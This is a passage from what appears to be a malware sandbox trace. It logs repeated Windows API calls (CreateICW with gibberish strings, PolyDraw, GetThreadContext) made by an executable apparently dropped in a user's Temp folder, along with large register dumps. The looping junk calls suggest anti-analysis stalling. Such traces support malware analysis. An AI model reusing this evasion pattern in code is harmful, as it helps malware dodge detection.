[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.194] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.195] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.195] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.195] GetConsoleCP () returned 0x0
	[0066.195] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.195] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.196] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.196] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.196] GetConsoleCP () returned 0x0
	[0066.196] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.196] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.197] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.197] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.197] GetConsoleCP () returned 0x0
